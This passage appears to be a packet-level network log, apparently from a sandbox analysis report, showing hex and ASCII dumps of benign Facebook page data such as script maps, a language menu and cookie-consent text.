9UZB":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yd\/r\/0OXcxKm5iBu.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"x390Ori":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iz8e4\/yt\/l\/en_US\/g0KZqepuocp.js?_nc_x=Ij3Wp8lg5Kz","nc":1}
2022-10-08 09:35:18 UTC	654	IN	Data Raw: 79 65 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 6f 71 4a 62 64 39 73 72 36 4c 73 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 53 57 78 33 79 4e 76 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 44 5c 2f 72 5c 2f 52 78 33 62 34 36 63 74 71 56 77 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6f 45 34 44 6f 66 54 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f Data Ascii: ye\/l\/en_US\/oqJbd9sr6Ls.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"SWx3yNv":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yD\/r\/Rx3b46ctqVw.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"oE4DofT":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/
2022-10-08 09:35:18 UTC	655	IN	Data Raw: 22 68 33 5a 7a 41 6d 47 22 2c 22 31 33 45 77 71 6a 69 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 2c 22 42 61 6e 7a 61 69 53 63 75 62 61 5f 44 45 50 52 45 43 41 54 45 44 22 5d 2c 22 72 22 3a 5b 22 42 49 79 6c 4b 43 34 22 2c 22 68 4b 59 30 51 4b 54 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 49 6e 70 75 74 22 3a 7b 22 72 22 3a 5b 22 5a 32 47 6a 56 75 39 22 5d 2c 22 62 65 22 3a 31 7d 2c 22 4c 69 76 65 22 3a 7b 22 72 22 3a 5b 22 65 39 41 4e 7a 77 5c 2f 22 2c 22 32 5c 2f 6d 61 51 5c 2f 51 22 2c 22 6e 36 57 34 78 4d 48 22 2c 22 38 7a 62 45 5a 74 75 22 2c 22 5c 2f 6f 35 59 76 4f 32 22 2c 22 76 47 74 32 6d 78 7a 22 2c 22 31 33 45 77 71 6a 69 22 5d 2c 22 62 65 Data Ascii: "h3ZzAmG","13Ewqji"],"rds":{"m":["FbtLogging","IntlQtEventFalcoEvent","BanzaiScuba_DEPRECATED"],"r":["BIylKC4","hKY0QKT"]},"be":1},"Input":{"r":["Z2GjVu9"],"be":1},"Live":{"r":["e9ANzw\/","2\/maQ\/Q","n6W4xMH","8zbEZtu","\/o5YvO2","vGt2mxz","13Ewqji"],"be
2022-10-08 09:35:18 UTC	657	IN	Data Raw: 54 63 68 22 2c 22 6b 4f 45 48 76 70 75 22 2c 22 76 47 74 32 6d 78 7a 22 2c 22 63 39 68 4d 5a 73 7a 22 2c 22 36 71 62 77 33 50 51 22 2c 22 6c 57 4f 76 47 54 61 22 2c 22 6a 51 37 6e 5c 2f 39 6a 22 2c 22 49 32 78 6d 45 79 4f 22 2c 22 68 33 5a 7a 41 6d 47 22 2c 22 42 49 79 6c 4b 43 34 22 2c 22 52 70 4d 75 38 48 64 22 2c 22 64 33 30 54 44 65 36 22 2c 22 6e 41 47 52 49 34 69 22 2c 22 49 47 35 79 4a 46 4d 22 2c 22 65 50 65 34 5a 52 36 22 2c 22 63 59 55 33 63 33 32 22 2c 22 46 6e 33 72 41 6c 37 22 2c 22 4c 38 6b 70 71 79 46 22 2c 22 75 6f 62 75 6d 4c 70 22 2c 22 52 50 4c 48 38 6a 67 22 2c 22 44 39 58 42 33 67 6a 22 2c 22 30 37 4a 53 69 50 30 22 2c 22 57 32 4c 37 42 53 63 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 41 6e 69 6d 61 74 69 6f 6e 22 2c 22 56 69 73 Data Ascii: Tch","kOEHvpu","vGt2mxz","c9hMZsz","6qbw3PQ","lWOvGTa","jQ7n\/9j","I2xmEyO","h3ZzAmG","BIylKC4","RpMu8Hd","d30TDe6","nAGRI4i","IG5yJFM","ePe4ZR6","cYU3c32","Fn3rAl7","L8kpqyF","uobumLp","RPLH8jg","D9XB3gj","07JSiP0","W2L7BSc"],"rds":{"m":["Animation","Vis
2022-10-08 09:35:18 UTC	658	IN	Data Raw: 74 75 22 2c 22 31 33 45 77 71 6a 69 22 2c 22 5a 32 47 6a 56 75 39 22 2c 22 43 71 52 43 4a 4b 6c 22 2c 22 4e 4d 55 4c 65 78 44 22 2c 22 76 47 74 32 6d 78 7a 22 2c 22 6c 57 4f 76 47 54 61 22 2c 22 68 33 5a 7a 41 6d 47 22 2c 22 42 49 79 6c 4b 43 34 22 2c 22 46 6e 33 72 41 6c 37 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 5d 2c 22 72 22 3a 5b 22 68 4b 59 30 51 4b 54 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 41 73 79 6e 63 44 69 61 6c 6f 67 22 3a 7b 22 72 22 3a 5b 22 63 67 66 32 64 64 58 22 2c 22 64 69 6f 67 56 61 75 22 2c 22 59 74 55 33 43 35 75 22 2c 22 64 41 78 58 30 6a 6a 22 2c 22 73 72 50 6d 64 74 34 22 2c 22 71 71 62 39 58 4a 67 22 2c 22 52 35 77 31 Data Ascii: tu","13Ewqji","Z2GjVu9","CqRCJKl","NMULexD","vGt2mxz","lWOvGTa","h3ZzAmG","BIylKC4","Fn3rAl7"],"rds":{"m":["FbtLogging","IntlQtEventFalcoEvent"],"r":["hKY0QKT"]},"be":1},"AsyncDialog":{"r":["cgf2ddX","diogVau","YtU3C5u","dAxX0jj","srPmdt4","qqb9XJg","R5w1
2022-10-08 09:35:18 UTC	660	IN	Data Raw: 43 4a 22 2c 22 4b 73 62 52 73 33 75 22 2c 22 30 37 4a 53 69 50 30 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 2c 22 41 6e 69 6d 61 74 69 6f 6e 22 2c 22 50 61 67 65 54 72 61 6e 73 69 74 69 6f 6e 73 22 2c 22 42 61 6e 7a 61 69 53 63 75 62 61 5f 44 45 50 52 45 43 41 54 45 44 22 5d 2c 22 72 22 3a 5b 22 68 4b 59 30 51 4b 54 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 45 78 63 65 70 74 69 6f 6e 44 69 61 6c 6f 67 22 3a 7b 22 72 22 3a 5b 22 63 67 66 32 64 64 58 22 2c 22 64 69 6f 67 56 61 75 22 2c 22 59 74 55 33 43 35 75 22 2c 22 48 35 62 43 74 61 54 22 2c 22 64 41 78 58 30 6a 6a 22 2c 22 73 72 50 6d 64 74 34 22 2c 22 71 71 62 39 58 4a 67 22 2c 22 52 35 77 31 72 Data Ascii: CJ","KsbRs3u","07JSiP0"],"rds":{"m":["FbtLogging","IntlQtEventFalcoEvent","Animation","PageTransitions","BanzaiScuba_DEPRECATED"],"r":["hKY0QKT"]},"be":1},"ExceptionDialog":{"r":["cgf2ddX","diogVau","YtU3C5u","H5bCtaT","dAxX0jj","srPmdt4","qqb9XJg","R5w1r
2022-10-08 09:35:18 UTC	661	IN	Data Raw: 7b 22 72 22 3a 5b 22 59 74 55 33 43 35 75 22 2c 22 73 72 50 6d 64 74 34 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 50 66 34 6f 47 4b 44 22 2c 22 49 61 52 5c 2f 36 75 50 22 2c 22 38 7a 62 45 5a 74 75 22 2c 22 4a 41 46 7a 4d 4f 71 22 2c 22 36 71 62 77 33 50 51 22 2c 22 46 6e 33 72 41 6c 37 22 2c 22 30 37 4a 53 69 50 30 22 5d 2c 22 62 65 22 3a 31 7d 2c 22 58 55 49 44 69 61 6c 6f 67 46 6f 6f 74 65 72 2e 72 65 61 63 74 22 3a 7b 22 72 22 3a 5b 22 59 74 55 33 43 35 75 22 2c 22 73 72 50 6d 64 74 34 22 2c 22 71 71 62 39 58 4a 67 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 50 66 34 6f 47 4b 44 22 2c 22 49 61 52 5c 2f 36 75 50 22 2c 22 38 7a 62 45 5a 74 75 22 2c 22 4a 41 46 7a 4d 4f 71 22 2c 22 37 39 56 39 63 56 5a 22 2c 22 36 71 62 77 33 50 51 22 2c 22 46 6e 33 72 41 6c 37 Data Ascii: {"r":["YtU3C5u","srPmdt4","R5w1rCJ","Pf4oGKD","IaR\/6uP","8zbEZtu","JAFzMOq","6qbw3PQ","Fn3rAl7","07JSiP0"],"be":1},"XUIDialogFooter.react":{"r":["YtU3C5u","srPmdt4","qqb9XJg","R5w1rCJ","Pf4oGKD","IaR\/6uP","8zbEZtu","JAFzMOq","79V9cVZ","6qbw3PQ","Fn3rAl7
2022-10-08 09:35:18 UTC	663	IN	Data Raw: 6c 22 2c 22 53 65 72 76 65 72 4a 53 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 54 69 6d 65 53 6c 69 63 65 2c 53 65 72 76 65 72 4a 53 29 7b 76 61 72 20 73 3d 28 6e 65 77 20 53 65 72 76 65 72 4a 53 28 29 29 3b 73 2e 68 61 6e 64 6c 65 28 7b 22 64 65 66 69 6e 65 22 3a 5b 5b 22 4c 69 6e 6b 73 68 69 6d 48 61 6e 64 6c 65 72 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 73 75 70 70 6f 72 74 73 5f 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 3a 66 61 6c 73 65 2c 22 64 65 66 61 75 6c 74 5f 6d 65 74 61 5f 72 65 66 65 72 72 65 72 5f 70 6f 6c 69 63 79 22 3a 22 64 65 66 61 75 6c 74 22 2c 22 73 77 69 74 63 68 65 64 5f 6d 65 74 61 5f 72 65 66 65 72 72 65 72 5f 70 6f 6c 69 63 79 22 3a 22 6f 72 69 67 69 6e 22 2c 22 6e 6f 6e 5f 6c 69 6e 6b 73 68 69 6d 5f 6c 6e 66 62 5f 6d 6f 64 65 22 3a 22 Data Ascii: l","ServerJS"],function(TimeSlice,ServerJS){var s=(new ServerJS());s.handle({"define":[["LinkshimHandlerConfig",[],{"supports_meta_referrer":false,"default_meta_referrer_policy":"default","switched_meta_referrer_policy":"origin","non_linkshim_lnfb_mode":"
2022-10-08 09:35:18 UTC	664	IN	Data Raw: 36 32 38 64 0d 0a 61 74 64 6d 74 2e 63 6f 6d 22 2c 22 61 64 66 6f 72 6d 2e 6e 65 74 22 2c 22 61 64 31 33 2e 61 64 66 61 72 6d 31 2e 61 64 69 74 69 6f 6e 2e 63 6f 6d 22 2c 22 69 6c 6f 76 65 6d 79 66 72 65 65 64 6f 6d 73 2e 63 6f 6d 22 2c 22 73 65 63 75 72 65 2e 61 64 6e 78 73 2e 63 6f 6d 22 5d 2c 22 69 73 5f 6d 6f 62 69 6c 65 5f 64 65 76 69 63 65 22 3a 66 61 6c 73 65 7d 2c 32 37 5d 5d 2c 22 69 6e 73 74 61 6e 63 65 73 22 3a 5b 5b 22 5f 5f 69 6e 73 74 5f 30 32 31 38 32 30 31 35 5f 30 5f 30 5f 55 4d 22 2c 5b 22 53 65 6c 65 63 74 61 62 6c 65 4d 65 6e 75 22 2c 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 30 5f 7a 52 22 2c 22 48 54 4d 4c 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 Data Ascii: 628datdmt.com","adform.net","ad13.adfarm1.adition.com","ilovemyfreedoms.com","secure.adnxs.com"],"is_mobile_device":false},27]],"instances":[["__inst_02182015_0_0_UM",["SelectableMenu","MenuSelectableItem","__markup_3310c079_0_0_zR","HTML","__markup_331
2022-10-08 09:35:18 UTC	665	IN	Data Raw: 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 64 65 5f 44 45 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 32 5f 6d 6f 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 44 65 75 74 73 63 68 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 65 6e 5f 47 42 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 Data Ascii: eaderItem"},{"class":"headerItem","value":"de_DE","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_2_mo"},"label":"Deutsch","title":"","className":"headerItem"},{"class":"headerItem","value":"en_GB","selected":fals
2022-10-08 09:35:18 UTC	667	IN	Data Raw: 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 39 5f 49 31 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 4d 61 67 79 61 72 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 6e 6c 5f 4e 4c 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 61 5f 6b 56 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 4e 65 64 65 72 6c 61 6e 64 73 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 Data Ascii: _markup_3310c079_0_9_I1"},"label":"Magyar","title":"","className":"headerItem"},{"class":"headerItem","value":"nl_NL","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_a_kV"},"label":"Nederlands","title":"","classNa
2022-10-08 09:35:18 UTC	668	IN	Data Raw: 45 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 68 5f 59 4e 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 53 76 65 6e 73 6b 61 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 76 69 5f 56 4e 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a Data Ascii: E","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_h_YN"},"label":"Svenska","title":"","className":"headerItem"},{"class":"headerItem","value":"vi_VN","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":
2022-10-08 09:35:18 UTC	669	IN	Data Raw: 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 6f 5f 78 4c 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 5c 75 30 36 32 37 5c 75 30 36 34 34 5c 75 30 36 33 39 5c 75 30 36 33 31 5c 75 30 36 32 38 5c 75 30 36 34 61 5c 75 30 36 32 39 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 68 69 5f 49 4e 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f Data Ascii: uSelectableItem"},"markup":{"__m":"__markup_3310c079_0_o_xL"},"label":"\u0627\u0644\u0639\u0631\u0628\u064a\u0629","title":"","className":"headerItem"},{"class":"headerItem","value":"hi_IN","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"_
2022-10-08 09:35:18 UTC	671	IN	Data Raw: 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 76 5f 65 42 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 5c 75 64 35 35 63 5c 75 61 64 36 64 5c 75 63 35 62 34 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 5d 2c 7b 22 69 64 22 3a 22 75 5f 30 5f 36 5f 6a 48 22 2c 22 62 65 68 61 76 69 6f 72 73 22 3a 5b 7b 22 5f 5f 6d 22 3a 22 58 55 49 4d 65 6e 75 57 69 74 68 53 71 75 61 72 65 43 6f 72 6e 65 72 22 7d 5d 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 5f 35 37 64 69 22 2c 22 6d 61 78 68 65 69 67 68 74 22 3a 35 30 30 2c 22 74 68 65 6d 65 22 3a 7b 22 5f 5f 6d 22 3a 22 58 55 49 4d 65 6e 75 54 68 65 6d Data Ascii: electableItem"},"markup":{"__m":"__markup_3310c079_0_v_eB"},"label":"\ud55c\uad6d\uc5b4","title":"","className":"headerItem"}],{"id":"u_0_6_jH","behaviors":[{"__m":"XUIMenuWithSquareCorner"}],"className":"_57di","maxheight":500,"theme":{"__m":"XUIMenuThem
2022-10-08 09:35:18 UTC	672	IN	Data Raw: 43 6f 6e 74 65 78 74 75 61 6c 4c 61 79 65 72 50 6f 73 69 74 69 6f 6e 43 6c 61 73 73 4f 6e 43 6f 6e 74 65 78 74 22 7d 5d 2c 7b 22 61 6c 69 67 6e 68 22 3a 22 6c 65 66 74 22 2c 22 70 6f 73 69 74 69 6f 6e 22 3a 22 62 65 6c 6f 77 22 7d 5d 2c 32 5d 5d 2c 22 6d 61 72 6b 75 70 22 3a 5b 5b 22 5f 5f 6d 61 72 6b 75 70 5f 39 66 35 66 61 63 31 35 5f 30 5f 30 5f 49 47 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 34 2d 69 32 20 5f 70 69 67 20 5f 39 6f 2d 63 20 5f 39 70 6c 6c 20 5f 35 30 66 34 5c 22 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 78 6c 32 5c 22 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 78 6c 33 5c 22 3e 5c 75 30 30 33 43 69 20 63 6c 61 73 Data Ascii: ContextualLayerPositionClassOnContext"}],{"alignh":"left","position":"below"}],2]],"markup":[["__markup_9f5fac15_0_0_IG",{"__html":"\u003Cdiv>\u003Cdiv class=\"_4-i2 _pig _9o-c _9pll _50f4\">\u003Cdiv class=\"_9xl2\">\u003Cdiv class=\"_9xl3\">\u003Ci clas
2022-10-08 09:35:18 UTC	674	IN	Data Raw: 70 5f 65 49 49 63 61 5a 41 55 65 58 71 20 73 78 5f 63 61 34 38 66 32 5c 22 3e 5c 75 30 30 33 43 5c 2f 69 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 78 6f 34 5c 22 3e 50 72 6f 76 69 64 65 20 61 6e 64 20 69 6d 70 72 6f 76 65 20 46 61 63 65 62 6f 6f 6b 20 50 72 6f 64 75 63 74 73 20 66 6f 72 20 70 65 6f 70 6c 65 20 77 68 6f 20 68 61 76 65 20 61 6e 20 61 63 63 6f 75 6e 74 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 78 6f 30 5c 22 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 64 69 76 3e 46 6f 72 20 61 64 76 65 72 74 69 73 69 6e 67 20 61 6e 64 20 6d 65 61 73 75 72 65 6d 65 6e 74 Data Ascii: p_eIIcaZAUeXq sx_ca48f2\">\u003C\/i>\u003Cdiv class=\"_9xo4\">Provide and improve Facebook Products for people who have an account\u003C\/div>\u003C\/div>\u003C\/div>\u003Cdiv class=\"_9xo0\">\u003C\/div>\u003Cdiv>\u003Cdiv>For advertising and measurement
2022-10-08 09:35:18 UTC	675	IN	Data Raw: 75 6e 74 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 73 70 61 6e 3e 5c 75 30 30 33 43 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 5f 39 6e 67 67 20 5f 39 76 37 76 5c 22 3e 5c 75 30 30 33 43 69 20 63 6c 61 73 73 3d 5c 22 69 6d 67 20 73 70 5f 65 49 49 63 61 5a 41 55 65 58 71 20 73 78 5f 38 65 30 63 62 32 5c 22 3e 5c 75 30 30 33 43 5c 2f 69 3e 5c 75 30 30 33 43 5c 2f 73 70 61 6e 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 62 75 74 74 6f 6e 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 6e 67 62 20 5f 39 6e 67 61 5c 22 3e 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 70 20 63 6c 61 73 73 3d 5c 22 5f 39 6f 2d 6d 5c 22 3e 49 66 20 79 6f 75 20 68 61 76 65 20 61 20 46 61 63 65 62 6f 6f 6b 20 61 63 63 6f 75 6e 74 2c Data Ascii: unt\u003C\/div>\u003C\/span>\u003Cspan class=\"_9ngg _9v7v\">\u003Ci class=\"img sp_eIIcaZAUeXq sx_8e0cb2\">\u003C\/i>\u003C\/span>\u003C\/div>\u003C\/button>\u003Cdiv class=\"_9ngb _9nga\">\u003Cdiv>\u003Cp class=\"_9o-m\">If you have a Facebook account,
2022-10-08 09:35:18 UTC	677	IN	Data Raw: 30 30 33 43 5c 2f 70 3e 5c 75 30 30 33 43 70 20 63 6c 61 73 73 3d 5c 22 5f 39 6f 2d 6d 5c 22 3e 59 6f 75 20 63 61 6e 20 72 65 76 69 65 77 20 79 6f 75 72 20 6f 66 66 2d 46 61 63 65 62 6f 6f 6b 20 61 63 74 69 76 69 74 79 2c 20 77 68 69 63 68 20 69 73 20 61 20 73 75 6d 6d 61 72 79 20 6f 66 20 61 63 74 69 76 69 74 79 20 74 68 61 74 20 62 75 73 69 6e 65 73 73 65 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 20 73 68 61 72 65 20 77 69 74 68 20 75 73 20 61 62 6f 75 74 20 79 6f 75 72 20 69 6e 74 65 72 61 63 74 69 6f 6e 73 20 77 69 74 68 20 74 68 65 6d 2c 20 73 75 63 68 20 61 73 20 76 69 73 69 74 69 6e 67 20 74 68 65 69 72 20 61 70 70 73 20 6f 72 20 77 65 62 73 69 74 65 73 2e 20 54 68 65 79 20 75 73 65 20 6f 75 72 20 5c 75 30 30 33 43 61 20 68 72 65 66 Data Ascii: 003C\/p>\u003Cp class=\"_9o-m\">You can review your off-Facebook activity, which is a summary of activity that businesses and organizations share with us about your interactions with them, such as visiting their apps or websites. They use our \u003Ca href
2022-10-08 09:35:18 UTC	678	IN	Data Raw: 39 39 47 63 57 35 6d 2d 65 59 73 35 61 76 7a 6e 72 47 73 48 54 44 76 30 38 75 6a 69 4e 77 73 71 52 49 57 66 4d 6b 2d 47 4d 53 61 4c 6c 5a 43 41 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 20 72 65 6c 3d 5c 22 6e 6f 66 6f 6c 6c 6f 77 5c 22 20 64 61 74 61 2d 6c 79 6e 78 2d 6d 6f 64 65 3d 5c 22 68 6f 76 65 72 5c 22 3e 44 69 67 69 74 61 6c 20 41 64 76 65 72 74 69 73 69 6e 67 20 41 6c 6c 69 61 6e 63 65 5c 75 30 30 33 43 5c 2f 61 3e 20 69 6e 20 74 68 65 20 55 53 2c 20 74 68 65 20 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 6c 2e 70 68 70 3f 75 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 32 46 79 6f 75 72 61 64 63 68 6f 69 63 65 Data Ascii: 99GcW5m-eYs5avznrGsHTDv08ujiNwsqRIWfMk-GMSaLlZCA\" target=\"_blank\" rel=\"nofollow\" data-lynx-mode=\"hover\">Digital Advertising Alliance\u003C\/a> in the US, the \u003Ca href=\"https:\/\/l.facebook.com\/l.php?u=https\u00253A\u00252F\u00252Fyouradchoice
2022-10-08 09:35:18 UTC	680	IN	Data Raw: 2f 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 6c 2e 70 68 70 3f 75 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 32 46 6f 70 74 6f 75 74 2e 61 62 6f 75 74 61 64 73 2e 69 6e 66 6f 5c 75 30 30 32 35 32 46 26 61 6d 70 3b 68 3d 41 54 32 4f 38 66 5f 32 4c 6b 34 42 6d 41 50 38 4f 37 64 53 7a 48 52 59 44 30 6b 47 6d 78 71 62 79 54 71 73 65 50 4b 53 50 6b 63 4b 4d 46 4c 50 6e 6c 46 71 52 45 4a 76 73 47 5f 79 52 67 68 78 6a 47 50 39 6c 70 65 75 70 49 62 66 6e 5a 51 49 5a 32 63 7a 33 56 57 5f 63 53 45 45 52 5f 47 41 32 4c 52 6c 7a 4c 37 33 4b 7a 68 33 56 5f 77 4c 51 30 37 78 34 6f 35 53 64 45 53 68 37 43 72 6e 57 4c 35 42 49 52 4e 58 72 46 54 6b 65 68 73 61 47 56 49 33 6d 41 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 Data Ascii: 